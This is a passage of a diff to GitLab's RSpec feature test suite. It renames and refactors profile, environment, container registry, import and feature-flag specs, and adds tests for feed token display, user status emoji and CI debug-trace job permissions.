+ gitlab_enable_admin_mode_sign_in(admin)
visit admin_user_path(user)
@@ -55,8 +56,8 @@ RSpec.describe 'Profile > Active Sessions', :clean_gitlab_redis_shared_state do
visit profile_active_sessions_path
expect(page).to(
- have_selector('ul.list-group li.list-group-item', { text: 'Signed in on',
- count: 2 }))
+ have_selector('ul.list-group li.list-group-item', text: 'Signed in on',
+ count: 2))
expect(page).to have_content(
'127.0.0.1 ' \
@@ -81,7 +82,7 @@ RSpec.describe 'Profile > Active Sessions', :clean_gitlab_redis_shared_state do
end
end
- it 'User can revoke a session', :js do
+ it 'user can revoke a session', :js do
Capybara::Session.new(:session1)
Capybara::Session.new(:session2)
diff --git a/spec/features/profiles/emails_spec.rb b/spec/features/profiles/emails_spec.rb
index fc7de6d8b23..bdf1f8b022a 100644
--- a/spec/features/profiles/emails_spec.rb
+++ b/spec/features/profiles/emails_spec.rb
@@ -42,7 +42,7 @@ RSpec.describe 'Profile > Emails' do
end
end
- it 'User removes email' do
+ it 'user removes email' do
user.emails.create(email: 'my@email.com')
visit profile_emails_path
expect(page).to have_content("my@email.com")
@@ -51,7 +51,7 @@ RSpec.describe 'Profile > Emails' do
expect(page).not_to have_content("my@email.com")
end
- it 'User confirms email' do
+ it 'user confirms email' do
email = user.emails.create(email: 'my@email.com')
visit profile_emails_path
expect(page).to have_content("#{email.email} Unverified")
@@ -63,7 +63,7 @@ RSpec.describe 'Profile > Emails' do
expect(page).to have_content("#{email.email} Verified")
end
- it 'User re-sends confirmation email' do
+ it 'user re-sends confirmation email' do
email = user.emails.create(email: 'my@email.com')
visit profile_emails_path
diff --git a/spec/features/profiles/gpg_keys_spec.rb b/spec/features/profiles/gpg_keys_spec.rb
index 18ed4e646b3..4eedeeac262 100644
--- a/spec/features/profiles/gpg_keys_spec.rb
+++ b/spec/features/profiles/gpg_keys_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe 'Profile > GPG Keys' do
end
end
- it 'User sees their key' do
+ it 'user sees their key' do
create(:gpg_key, user: user, key: GpgHelpers::User2.public_key)
visit profile_gpg_keys_path
@@ -45,7 +45,7 @@ RSpec.describe 'Profile > GPG Keys' do
expect(page).to have_content(GpgHelpers::User2.fingerprint)
end
- it 'User removes a key via the key index' do
+ it 'user removes a key via the key index' do
create(:gpg_key, user: user, key: GpgHelpers::User2.public_key)
visit profile_gpg_keys_path
@@ -54,7 +54,7 @@ RSpec.describe 'Profile > GPG Keys' do
expect(page).to have_content('Your GPG keys (0)')
end
- it 'User revokes a key via the key index' do
+ it 'user revokes a key via the key index' do
gpg_key = create :gpg_key, user: user, key: GpgHelpers::User2.public_key
gpg_signature = create :gpg_signature, gpg_key: gpg_key, verification_status: :verified
diff --git a/spec/features/profiles/keys_spec.rb b/spec/features/profiles/keys_spec.rb
index 23bbe9c1587..c1e2d19ad9a 100644
--- a/spec/features/profiles/keys_spec.rb
+++ b/spec/features/profiles/keys_spec.rb
@@ -64,7 +64,7 @@ RSpec.describe 'Profile > SSH Keys' do
end
end
- it 'User sees their keys' do
+ it 'user sees their keys' do
key = create(:key, user: user)
visit profile_keys_path
diff --git a/spec/features/profiles/personal_access_tokens_spec.rb b/spec/features/profiles/personal_access_tokens_spec.rb
index de5a594aca6..88bfc71cfbe 100644
--- a/spec/features/profiles/personal_access_tokens_spec.rb
+++ b/spec/features/profiles/personal_access_tokens_spec.rb
@@ -18,6 +18,10 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
find("#created-personal-access-token").value
end
+ def feed_token
+ find("#feed_token").value
+ end
+
def disallow_personal_access_token_saves!
allow(PersonalAccessTokens::CreateService).to receive(:new).and_return(pat_create_service)
@@ -112,4 +116,26 @@ RSpec.describe 'Profile > Personal Access Tokens', :js do
end
end
end
+
+ describe "feed token" do
+ context "when enabled" do
+ it "displays feed token" do
+ allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(false)
+ visit profile_personal_access_tokens_path
+
+ expect(page).to have_content("Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs.")
+ expect(feed_token).to eq(user.feed_token)
+ end
+ end
+
+ context "when disabled" do
+ it "does not display feed token" do
+ allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(true)
+ visit profile_personal_access_tokens_path
+
+ expect(page).not_to have_content("Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs.")
+ expect(page).not_to have_css("#feed_token")
+ end
+ end
+ end
end
diff --git a/spec/features/profiles/user_changes_notified_of_own_activity_spec.rb b/spec/features/profiles/user_changes_notified_of_own_activity_spec.rb
index a5b7b1fba9d..1b6215c1308 100644
--- a/spec/features/profiles/user_changes_notified_of_own_activity_spec.rb
+++ b/spec/features/profiles/user_changes_notified_of_own_activity_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'Profile > Notifications > User changes notified_of_own_activity
sign_in(user)
end
- it 'User opts into receiving notifications about their own activity' do
+ it 'user opts into receiving notifications about their own activity' do
visit profile_notifications_path
expect(page).not_to have_checked_field('user[notified_of_own_activity]')
@@ -20,7 +20,7 @@ RSpec.describe 'Profile > Notifications > User changes notified_of_own_activity
expect(page).to have_checked_field('user[notified_of_own_activity]')
end
- it 'User opts out of receiving notifications about their own activity' do
+ it 'user opts out of receiving notifications about their own activity' do
user.update!(notified_of_own_activity: true)
visit profile_notifications_path
diff --git a/spec/features/profiles/user_edit_profile_spec.rb b/spec/features/profiles/user_edit_profile_spec.rb
index d0340dfc880..239bc04a9cb 100644
--- a/spec/features/profiles/user_edit_profile_spec.rb
+++ b/spec/features/profiles/user_edit_profile_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'User edit profile' do
+ include Spec::Support::Helpers::Features::NotesHelpers
+
let(:user) { create(:user) }
before do
@@ -226,7 +228,7 @@ RSpec.describe 'User edit profile' do
end
def open_edit_status_modal
- open_modal 'Edit status'
+ open_modal 'Edit status'
end
def set_user_status_in_modal
@@ -289,6 +291,10 @@ RSpec.describe 'User edit profile' do
toggle_busy_status
set_user_status_in_modal
+
+ wait_for_requests
+ visit root_path(user)
+
open_edit_status_modal
expect(busy_status.checked?).to eq(true)
@@ -366,26 +372,37 @@ RSpec.describe 'User edit profile' do
expect(page).not_to have_selector '.cover-status'
end
- it 'clears the user status with the "Remove status" button' do
- user_status = create(:user_status, user: user, message: 'Eating bread', emoji: 'stuffed_flatbread')
+ context 'Remove status button' do
+ before do
+ user.status = UserStatus.new(message: 'Eating bread', emoji: 'stuffed_flatbread')
- visit_user
- wait_for_requests
+ visit_user
+ wait_for_requests
- within('.cover-status') do
- expect(page).to have_emoji(user_status.emoji)
- expect(page).to have_content user_status.message
+ open_edit_status_modal
+
+ page.within "#set-user-status-modal" do
+ click_button 'Remove status'
+ end
+
+ wait_for_requests
end
- open_edit_status_modal
+ it 'clears the user status with the "Remove status" button' do
+ visit_user
- page.within "#set-user-status-modal" do
- click_button 'Remove status'
+ expect(page).not_to have_selector '.cover-status'
end
- visit_user
+ it 'shows the "Set status" menu item in the user menu' do
+ visit root_path(user)
- expect(page).not_to have_selector '.cover-status'
+ find('.header-user-dropdown-toggle').click
+
+ page.within ".header-user" do
+ expect(page).to have_content('Set status')
+ end
+ end
end
it 'displays a default emoji if only message is entered' do
@@ -398,6 +415,45 @@ RSpec.describe 'User edit profile' do
end
end
+ context 'note header' do
+ let(:project) { create(:project_empty_repo, :public) }
+ let(:issue) { create(:issue, project: project) }
+ let(:emoji) { "stuffed_flatbread" }
+
+ before do
+ project.add_guest(user)
+ create(:user_status, user: user, message: 'Taking notes', emoji: emoji)
+
+ visit(project_issue_path(project, issue))
+
+ add_note("This is a comment")
+ visit(project_issue_path(project, issue))
+
+ wait_for_requests
+ end
+
+ it 'displays the status emoji' do
+ first_note = page.find_all(".main-notes-list .timeline-entry").first
+
+ expect(first_note).to have_emoji(emoji)
+ end
+
+ it 'clears the status emoji' do
+ open_edit_status_modal
+
+ page.within "#set-user-status-modal" do
+ click_button 'Remove status'
+ end
+
+ visit(project_issue_path(project, issue))
+ wait_for_requests
+
+ first_note = page.find_all(".main-notes-list .timeline-entry").first
+
+ expect(first_note).not_to have_css('.user-status-emoji')
+ end
+ end
+
context 'with set_user_availability_status feature flag disabled' do
before do
stub_feature_flags(set_user_availability_status: false)
diff --git a/spec/features/projects/active_tabs_spec.rb b/spec/features/projects/active_tabs_spec.rb
index 349e5f5e177..8001ce0f454 100644
--- a/spec/features/projects/active_tabs_spec.rb
+++ b/spec/features/projects/active_tabs_spec.rb
@@ -124,15 +124,15 @@ RSpec.describe 'Project active tab' do
context 'on project Analytics' do
before do
- visit charts_project_graph_path(project, 'master')
+ visit project_cycle_analytics_path(project)
end
- context 'on project Analytics/Repository Analytics' do
+ context 'on project Analytics/Value Stream Analytics' do
it_behaves_like 'page has active tab', _('Analytics')
- it_behaves_like 'page has active sub tab', _('Repository')
+ it_behaves_like 'page has active sub tab', _('Value Stream')
end
- context 'on project Analytics/Cycle Analytics' do
+ context 'on project Analytics/"CI / CD"' do
before do
click_tab(_('CI / CD'))
end
diff --git a/spec/features/projects/blobs/balsamiq_spec.rb b/spec/features/projects/blobs/balsamiq_spec.rb
new file mode 100644
index 00000000000..bce60856544
--- /dev/null
+++ b/spec/features/projects/blobs/balsamiq_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Balsamiq file blob', :js do
+ let(:project) { create(:project, :public, :repository) }
+
+ before do
+ visit project_blob_path(project, 'add-balsamiq-file/files/images/balsamiq.bmpr')
+
+ wait_for_requests
+ end
+
+ it 'displays Balsamiq file content' do
+ expect(page).to have_content("Mobile examples")
+ end
+end
diff --git a/spec/features/projects/blobs/user_creates_new_blob_in_new_project_spec.rb b/spec/features/projects/blobs/user_creates_new_blob_in_new_project_spec.rb
index 6b9fd41059d..484f740faee 100644
--- a/spec/features/projects/blobs/user_creates_new_blob_in_new_project_spec.rb
+++ b/spec/features/projects/blobs/user_creates_new_blob_in_new_project_spec.rb
@@ -9,12 +9,9 @@ RSpec.describe 'User creates new blob', :js do
let(:project) { create(:project, :empty_repo) }
shared_examples 'creating a file' do
- before do
- sign_in(user)
+ it 'allows the user to add a new file in Web IDE' do
visit project_path(project)
- end
- it 'allows the user to add a new file in Web IDE' do
click_link 'New file'
wait_for_requests
@@ -31,6 +28,7 @@ RSpec.describe 'User creates new blob', :js do
describe 'as a maintainer' do
before do
project.add_maintainer(user)
+ sign_in(user)
end
it_behaves_like 'creating a file'
@@ -39,6 +37,11 @@ RSpec.describe 'User creates new blob', :js do
describe 'as an admin' do
let(:user) { create(:user, :admin) }
+ before do
+ sign_in(user)
+ gitlab_enable_admin_mode_sign_in(user)
+ end
+
it_behaves_like 'creating a file'
end
diff --git a/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb b/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb
index 3069405ba63..1c79b2ddc38 100644
--- a/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb
+++ b/spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe 'User follows pipeline suggest nudge spec when feature is enabled', :js do
include CookieHelper
- let(:user) { create(:user, :admin) }
let(:project) { create(:project, :empty_repo) }
+ let(:user) { project.owner }
describe 'viewing the new blob page' do
before do
diff --git a/spec/features/projects/clusters/gcp_spec.rb b/spec/features/projects/clusters/gcp_spec.rb
index a0519d88532..d34dde6a8f2 100644
--- a/spec/features/projects/clusters/gcp_spec.rb
+++ b/spec/features/projects/clusters/gcp_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Gcp Cluster', :js, :do_not_mock_admin_mode do
+RSpec.describe 'Gcp Cluster', :js do
include GoogleApi::CloudPlatformHelpers
let(:project) { create(:project) }
diff --git a/spec/features/projects/clusters_spec.rb b/spec/features/projects/clusters_spec.rb
index 6c6e65005f6..6da66989b09 100644
--- a/spec/features/projects/clusters_spec.rb
+++ b/spec/features/projects/clusters_spec.rb
@@ -110,7 +110,7 @@ RSpec.describe 'Clusters', :js do
visit project_clusters_path(project)
end
- it 'user sees a add cluster button ' do
+ it 'user sees a add cluster button' do
expect(page).to have_selector('.js-add-cluster:not(.readonly)')
end
diff --git a/spec/features/projects/container_registry_spec.rb b/spec/features/projects/container_registry_spec.rb
index 45bf35a6aab..ee453aa7bbf 100644
--- a/spec/features/projects/container_registry_spec.rb
+++ b/spec/features/projects/container_registry_spec.rb
@@ -94,7 +94,8 @@ RSpec.describe 'Container Registry', :js do
end
it('pagination navigate to the second page') do
- visit_second_page
+ visit_next_page
+
expect(page).to have_content '20'
end
end
@@ -116,22 +117,23 @@ RSpec.describe 'Container Registry', :js do
context 'when there are more than 10 images' do
before do
- create_list(:container_repository, 12, project: project)
project.container_repositories << container_repository
+ create_list(:container_repository, 12, project: project)
+
visit_container_registry
end
it 'shows pagination' do
- expect(page).to have_css '.gl-pagination'
+ expect(page).to have_css '.gl-keyset-pagination'
end
it 'pagination goes to second page' do
- visit_second_page
+ visit_next_page
expect(page).to have_content 'my/image'
end
it 'pagination is preserved after navigating back from details' do
- visit_second_page
+ visit_next_page
click_link 'my/image'
breadcrumb = find '.breadcrumbs'
breadcrumb.click_link 'Container Registry'
@@ -148,8 +150,8 @@ RSpec.describe 'Container Registry', :js do
click_link name
end
- def visit_second_page
- pagination = find '.gl-pagination'
- pagination.click_link '2'
+ def visit_next_page
+ pagination = find '.gl-keyset-pagination'
+ pagination.click_button 'Next'
end
end
diff --git a/spec/features/projects/diffs/diff_show_spec.rb b/spec/features/projects/diffs/diff_show_spec.rb
index 19f111a727b..747277e2562 100644
--- a/spec/features/projects/diffs/diff_show_spec.rb
+++ b/spec/features/projects/diffs/diff_show_spec.rb
@@ -155,10 +155,6 @@ RSpec.describe 'Diff file viewer', :js do
context 'binary file that appears to be text in the first 1024 bytes' do
before do
- # The file we're visiting is smaller than 10 KB and we want it collapsed
- # so we need to disable the size increase feature.
- stub_feature_flags(gitlab_git_diff_size_limit_increase: false)
-
visit_commit('7b1cf4336b528e0f3d1d140ee50cafdbc703597c')
end
diff --git a/spec/features/projects/environments/environment_metrics_spec.rb b/spec/features/projects/environments/environment_metrics_spec.rb
index 8315c821b6d..e8f197b67c2 100644
--- a/spec/features/projects/environments/environment_metrics_spec.rb
+++ b/spec/features/projects/environments/environment_metrics_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'Environment > Metrics' do
end
around do |example|
- Timecop.freeze(current_time) { example.run }
+ travel_to(current_time) { example.run }
end
shared_examples 'has environment selector' do
diff --git a/spec/features/projects/environments/environments_spec.rb b/spec/features/projects/environments/environments_spec.rb
index 8c032660726..27167f95104 100644
--- a/spec/features/projects/environments/environments_spec.rb
+++ b/spec/features/projects/environments/environments_spec.rb
@@ -12,8 +12,20 @@ RSpec.describe 'Environments page', :js do
sign_in(user)
end
+ def actions_button_selector
+ '[data-testid="environment-actions-button"]'
+ end
+
+ def action_link_selector
+ '[data-testid="manual-action-link"]'
+ end
+
def stop_button_selector
- %q{button[title="Stop environment"]}
+ 'button[title="Stop environment"]'
+ end
+
+ def upcoming_deployment_content_selector
+ '[data-testid="upcoming-deployment-content"]'
end
describe 'page tabs' do
@@ -187,18 +199,17 @@ RSpec.describe 'Environments page', :js do
end
it 'shows a play button' do
- find('.js-environment-actions-dropdown').click
-
+ find(actions_button_selector).click
expect(page).to have_content(action.name)
end
it 'allows to play a manual action', :js do
expect(action).to be_manual
- find('.js-environment-actions-dropdown').click
+ find(actions_button_selector).click
expect(page).to have_content(action.name)
- expect { find('.js-manual-action-link').click }
+ expect { find(action_link_selector).click }
.not_to change { Ci::Pipeline.count }
end
@@ -301,11 +312,11 @@ RSpec.describe 'Environments page', :js do
end
it 'has a dropdown for actionable jobs' do
- expect(page).to have_selector('.dropdown-new.btn.btn-default [data-testid="play-icon"]')
+ expect(page).to have_selector("#{actions_button_selector} [data-testid=\"play-icon\"]")
end
it "has link to the delayed job's action" do
- find('.js-environment-actions-dropdown').click
+ find(actions_button_selector).click
expect(page).to have_button('delayed job')
expect(page).to have_content(/\d{2}:\d{2}:\d{2}/)
@@ -320,7 +331,7 @@ RSpec.describe 'Environments page', :js do
end
it "shows 00:00:00 as the remaining time" do
- find('.js-environment-actions-dropdown').click
+ find(actions_button_selector).click
expect(page).to have_content("00:00:00")
end
@@ -328,8 +339,8 @@ RSpec.describe 'Environments page', :js do
context 'when user played a delayed job immediately' do
before do
- find('.js-environment-actions-dropdown').click
- page.accept_confirm { click_button('delayed job') }
+ find(actions_button_selector).click
+ accept_confirm { find(action_link_selector).click }
wait_for_requests
end
@@ -355,6 +366,26 @@ RSpec.describe 'Environments page', :js do
expect(page).to have_content('No deployments yet')
end
end
+
+ context 'when there is an upcoming deployment' do
+ let_it_be(:project) { create(:project, :repository) }
+
+ let!(:deployment) do
+ create(:deployment, :running,
+ environment: environment,
+ sha: project.commit.id)
+ end
+
+ it "renders the upcoming deployment", :aggregate_failures do
+ visit_environments(project)
+
+ within(upcoming_deployment_content_selector) do
+ expect(page).to have_content("##{deployment.iid}")
+ expect(page).to have_selector("a[href=\"#{project_job_path(project, deployment.deployable)}\"]")
+ expect(page).to have_link(href: /#{deployment.user.username}/)
+ end
+ end
+ end
end
it 'does have a new environment button' do
@@ -423,10 +454,10 @@ RSpec.describe 'Environments page', :js do
expect(page).to have_content 'review-1'
expect(page).to have_content 'review-2'
within('.ci-table') do
- within('.gl-responsive-table-row:nth-child(3)') do
+ within('[data-qa-selector="environment_item"]', text: 'review-1') do
expect(find('.js-auto-stop').text).not_to be_empty
end
- within('.gl-responsive-table-row:nth-child(4)') do
+ within('[data-qa-selector="environment_item"]', text: 'review-2') do
expect(find('.js-auto-stop').text).not_to be_empty
end
end
diff --git a/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb b/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb
index 830dda737b0..eaafc7e607b 100644
--- a/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb
+++ b/spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb
@@ -67,118 +67,6 @@ RSpec.describe 'User creates feature flag', :js do
end
end
- context 'with new version flags disabled' do
- before do
- stub_feature_flags(feature_flags_new_version: false)
- end
-
- context 'when creates without changing scopes' do
- before do
- visit(new_project_feature_flag_path(project))
- set_feature_flag_info('ci_live_trace', 'For live trace')
- click_button 'Create feature flag'
- expect(page).to have_current_path(project_feature_flags_path(project))
- end
-
- it 'shows the created feature flag' do
- within_feature_flag_row(1) do
- expect(page.find('.feature-flag-name')).to have_content('ci_live_trace')
- expect_status_toggle_button_to_be_checked
-
- within_feature_flag_scopes do
- expect(page.find('[data-qa-selector="feature-flag-scope-info-badge"]:nth-child(1)')).to have_content('*')
- end
- end
- end
- end
-
- context 'when creates with disabling the default scope' do
- before do
- visit(new_project_feature_flag_path(project))
- set_feature_flag_info('ci_live_trace', 'For live trace')
-
- within_scope_row(1) do
- within_status { find('.project-feature-toggle').click }
- end
-
- click_button 'Create feature flag'
- end
-
- it 'shows the created feature flag' do
- within_feature_flag_row(1) do
- expect(page.find('.feature-flag-name')).to have_content('ci_live_trace')
- expect_status_toggle_button_to_be_checked
-
- within_feature_flag_scopes do
- expect(page.find('[data-qa-selector="feature-flag-scope-muted-badge"]:nth-child(1)')).to have_content('*')
- end
- end
- end
- end
-
- context 'when creates with an additional scope' do
- before do
- visit(new_project_feature_flag_path(project))
- set_feature_flag_info('mr_train', '')
-
- within_scope_row(2) do
- within_environment_spec do
- find('.js-env-search > input').set("review/*")
- find('.js-create-button').click
- end
- end
-
- within_scope_row(2) do
- within_status { find('.project-feature-toggle').click }
- end
-
- click_button 'Create feature flag'
- end
-
- it 'shows the created feature flag' do
- within_feature_flag_row(1) do
- expect(page.find('.feature-flag-name')).to have_content('mr_train')
- expect_status_toggle_button_to_be_checked
-
- within_feature_flag_scopes do
- expect(page.find('[data-qa-selector="feature-flag-scope-info-badge"]:nth-child(1)')).to have_content('*')
- expect(page.find('[data-qa-selector="feature-flag-scope-info-badge"]:nth-child(2)')).to have_content('review/*')
- end
- end
- end
- end
-
- context 'when searches an environment name for scope creation' do
- let!(:environment) { create(:environment, name: 'production', project: project) }
-
- before do
- visit(new_project_feature_flag_path(project))
- set_feature_flag_info('mr_train', '')
-
- within_scope_row(2) do
- within_environment_spec do
- find('.js-env-search > input').set('prod')
- click_button 'production'
- end
- end
-
- click_button 'Create feature flag'
- end
-
- it 'shows the created feature flag' do
- within_feature_flag_row(1) do
- expect(page.find('.feature-flag-name')).to have_content('mr_train')
- expect_status_toggle_button_to_be_checked
-
- within_feature_flag_scopes do
- expect(page.find('[data-qa-selector="feature-flag-scope-info-badge"]:nth-child(1)')).to have_content('*')
- expect(page.find('[data-qa-selector="feature-flag-scope-muted-badge"]:nth-child(2)')).to have_content('production')
- end
- end
- end
- end
- end
-
private
def set_feature_flag_info(name, description)
diff --git a/spec/features/projects/features_visibility_spec.rb b/spec/features/projects/features_visibility_spec.rb
index 467adb25a17..2f0fbd29cb5 100644
--- a/spec/features/projects/features_visibility_spec.rb
+++ b/spec/features/projects/features_visibility_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe 'Edit Project Settings' do
sign_in(member)
end
- tools = { builds: "pipelines", issues: "issues", wiki: "wiki", snippets: "snippets", merge_requests: "merge_requests" }
+ tools = { builds: "pipelines", issues: "issues", wiki: "wiki", snippets: "snippets", merge_requests: "merge_requests", analytics: "analytics" }
tools.each do |tool_name, shortcut_name|
describe "feature #{tool_name}" do
@@ -150,6 +150,7 @@ RSpec.describe 'Edit Project Settings' do
before do
non_member.update_attribute(:admin, true)
sign_in(non_member)
+ gitlab_enable_admin_mode_sign_in(non_member)
end
it 'renders 404 if feature is disabled' do
diff --git a/spec/features/projects/gfm_autocomplete_load_spec.rb b/spec/features/projects/gfm_autocomplete_load_spec.rb
index b02483be489..f4cd65bcba1 100644
--- a/spec/features/projects/gfm_autocomplete_load_spec.rb
+++ b/spec/features/projects/gfm_autocomplete_load_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe 'GFM autocomplete loading', :js do
let(:project) { create(:project) }
before do
- sign_in(create(:admin))
+ sign_in(project.owner)
visit project_path(project)
end
diff --git a/spec/features/projects/import_export/import_file_spec.rb b/spec/features/projects/import_export/import_file_spec.rb
index 83ceffa621c..af228764c17 100644
--- a/spec/features/projects/import_export/import_file_spec.rb
+++ b/spec/features/projects/import_export/import_file_spec.rb
@@ -28,73 +28,40 @@ RSpec.describe 'Import/Export - project import integration test', :js do
let(:project_name) { 'Test Project Name' + randomHex }
let(:project_path) { 'test-project-name' + randomHex }
- context 'prefilled the path' do
- it 'user imports an exported project successfully', :sidekiq_might_not_need_inline do
- visit new_project_path
+ it 'user imports an exported project successfully', :sidekiq_might_not_need_inline do
+ visit new_project_path
+ click_import_project_tab
+ click_link 'GitLab export'
- fill_in :project_name, with: project_name, visible: true
- click_import_project_tab
- click_link 'GitLab export'
+ fill_in :name, with: 'Test Project Name', visible: true
+ fill_in :path, with: 'test-project-path', visible: true
+ attach_file('file', file)
- expect(page).to have_content('Import an exported GitLab project')
- expect(URI.parse(current_url).query).to eq("namespace_id=#{namespace.id}&name=#{ERB::Util.url_encode(project_name)}&path=#{project_path}")
+ expect { click_on 'Import project' }.to change { Project.count }.by(1)
- attach_file('file', file)
- click_on 'Import project'
-
- expect(Project.count).to eq(1)
-
- project = Project.last
- expect(project).not_to be_nil
- expect(project.description).to eq("Foo Bar")
- expect(project.issues).not_to be_empty
- expect(project.merge_requests).not_to be_empty
- expect(wiki_exists?(project)).to be true
- expect(project.import_state.status).to eq('finished')
- end
+ project = Project.last
+ expect(project).not_to be_nil
+ expect(page).to have_content("Project 'test-project-path' is being imported")
end
- context 'path is not prefilled' do
- it 'user imports an exported project successfully', :sidekiq_might_not_need_inline do
- visit new_project_path
- click_import_project_tab
- click_link 'GitLab export'
+ it 'invalid project' do
+ project = create(:project, namespace: user.namespace)
- fill_in :name, with: 'Test Project Name', visible: true
- fill_in :path, with: 'test-project-path', visible: true
- attach_file('file', file)
+ visit new_project_path
- expect { click_on 'Import project' }.to change { Project.count }.by(1)
+ click_import_project_tab
+ click_link 'GitLab export'
+ fill_in :name, with: project.name, visible: true
+ attach_file('file', file)
+ click_on 'Import project'
- project = Project.last
- expect(project).not_to be_nil
- expect(page).to have_content("Project 'test-project-path' is being imported")
+ page.within('.flash-container') do
+ expect(page).to have_content('Project could not be imported')
end
end
end
- it 'invalid project' do
- project = create(:project, namespace: user.namespace)
-
- visit new_project_path
-
- fill_in :project_name, with: project.name, visible: true
- click_import_project_tab
- click_link 'GitLab export'
- attach_file('file', file)
- click_on 'Import project'
-
- page.within('.flash-container') do
- expect(page).to have_content('Project could not be imported')
- end
- end
-
- def wiki_exists?(project)
- wiki = ProjectWiki.new(project)
- wiki.repository.exists? && !wiki.repository.empty?
- end
-
def click_import_project_tab
- find('#import-project-tab').click
+ find('[data-qa-selector="import_project_link"]').click
end
end
diff --git a/spec/features/projects/jobs/permissions_spec.rb b/spec/features/projects/jobs/permissions_spec.rb
index 7f46a369dd6..b1e8127c54c 100644
--- a/spec/features/projects/jobs/permissions_spec.rb
+++ b/spec/features/projects/jobs/permissions_spec.rb
@@ -3,11 +3,13 @@
require 'spec_helper'
RSpec.describe 'Project Jobs Permissions' do
- let(:user) { create(:user) }
- let(:group) { create(:group, name: 'some group') }
- let(:project) { create(:project, :repository, namespace: group) }
- let(:pipeline) { create(:ci_empty_pipeline, project: project, sha: project.commit.sha, ref: 'master') }
- let!(:job) { create(:ci_build, :running, :coverage, :trace_artifact, pipeline: pipeline) }
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be_with_reload(:group) { create(:group, name: 'some group') }
+ let_it_be_with_reload(:project) { create(:project, :repository, namespace: group) }
+ let_it_be_with_reload(:pipeline) { create(:ci_empty_pipeline, project: project, sha: project.commit.sha, ref: 'master') }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:job) { create(:ci_build, :running, :coverage, :trace_artifact, pipeline: pipeline) }
before do
sign_in(user)
@@ -34,7 +36,7 @@ RSpec.describe 'Project Jobs Permissions' do
context 'when public access for jobs is disabled' do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
context 'when user is a guest' do
@@ -48,7 +50,7 @@ RSpec.describe 'Project Jobs Permissions' do
context 'when project is internal' do
before do
- project.update(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
end
it_behaves_like 'recent job page details responds with status', 404
@@ -58,12 +60,30 @@ RSpec.describe 'Project Jobs Permissions' do
context 'when public access for jobs is enabled' do
before do
- project.update(public_builds: true)
+ project.update!(public_builds: true)
+ end
+
+ context 'when user is a guest' do
+ before do
+ project.add_guest(user)
+ end
+
+ it_behaves_like 'recent job page details responds with status', 200
+ it_behaves_like 'project jobs page responds with status', 200
+ end
+
+ context 'when user is a developer' do
+ before do
+ project.add_developer(user)
+ end
+
+ it_behaves_like 'recent job page details responds with status', 200
+ it_behaves_like 'project jobs page responds with status', 200
end
context 'when project is internal' do
before do
- project.update(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
end
it_behaves_like 'recent job page details responds with status', 200 do
@@ -89,7 +109,7 @@ RSpec.describe 'Project Jobs Permissions' do
describe 'artifacts page' do
context 'when recent job has artifacts available' do
- before do
+ before_all do
archive = fixture_file_upload('spec/fixtures/ci_build_artifacts.zip')
create(:ci_job_artifact, :archive, file: archive, job: job)
@@ -97,7 +117,7 @@ RSpec.describe 'Project Jobs Permissions' do
context 'when public access for jobs is disabled' do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
context 'when user with guest role' do
@@ -128,4 +148,124 @@ RSpec.describe 'Project Jobs Permissions' do
end
end
end
+
+ context 'with CI_DEBUG_TRACE' do
+ let_it_be(:ci_instance_variable) { create(:ci_instance_variable, key: 'CI_DEBUG_TRACE') }
+
+ describe 'trace endpoint' do
+ let_it_be(:job) { create(:ci_build, :trace_artifact, pipeline: pipeline) }
+
+ where(:public_builds, :user_project_role, :ci_debug_trace, :expected_status_code) do
+ true | 'developer' | true | 200
+ true | 'guest' | true | 403
+ true | 'developer' | false | 200
+ true | 'guest' | false | 200
+ false | 'developer' | true | 200
+ false | 'guest' | true | 403
+ false | 'developer' | false | 200
+ false | 'guest' | false | 403
+ end
+
+ with_them do
+ before do
+ ci_instance_variable.update!(value: ci_debug_trace)
+ project.update!(public_builds: public_builds)
+ project.add_role(user, user_project_role)
+ end
+
+ it 'renders trace to authorized users' do
+ visit trace_project_job_path(project, job)
+
+ expect(status_code).to eq(expected_status_code)
+ end
+ end
+
+ context 'when restrict_access_to_build_debug_mode feature not enabled' do
+ where(:public_builds, :user_project_role, :ci_debug_trace, :expected_status_code) do
+ true | 'developer' | true | 200
+ true | 'guest' | true | 200
+ true | 'developer' | false | 200
+ true | 'guest' | false | 200
+ false | 'developer' | true | 200
+ false | 'guest' | true | 403
+ false | 'developer' | false | 200
+ false | 'guest' | false | 403
+ end
+
+ with_them do
+ before do
+ stub_feature_flags(restrict_access_to_build_debug_mode: false)
+ ci_instance_variable.update!(value: ci_debug_trace)
+ project.update!(public_builds: public_builds)
+ project.add_role(user, user_project_role)
+ end
+
+ it 'renders trace to authorized users' do
+ visit trace_project_job_path(project, job)
+
+ expect(status_code).to eq(expected_status_code)
+ end
+ end
+ end
+ end
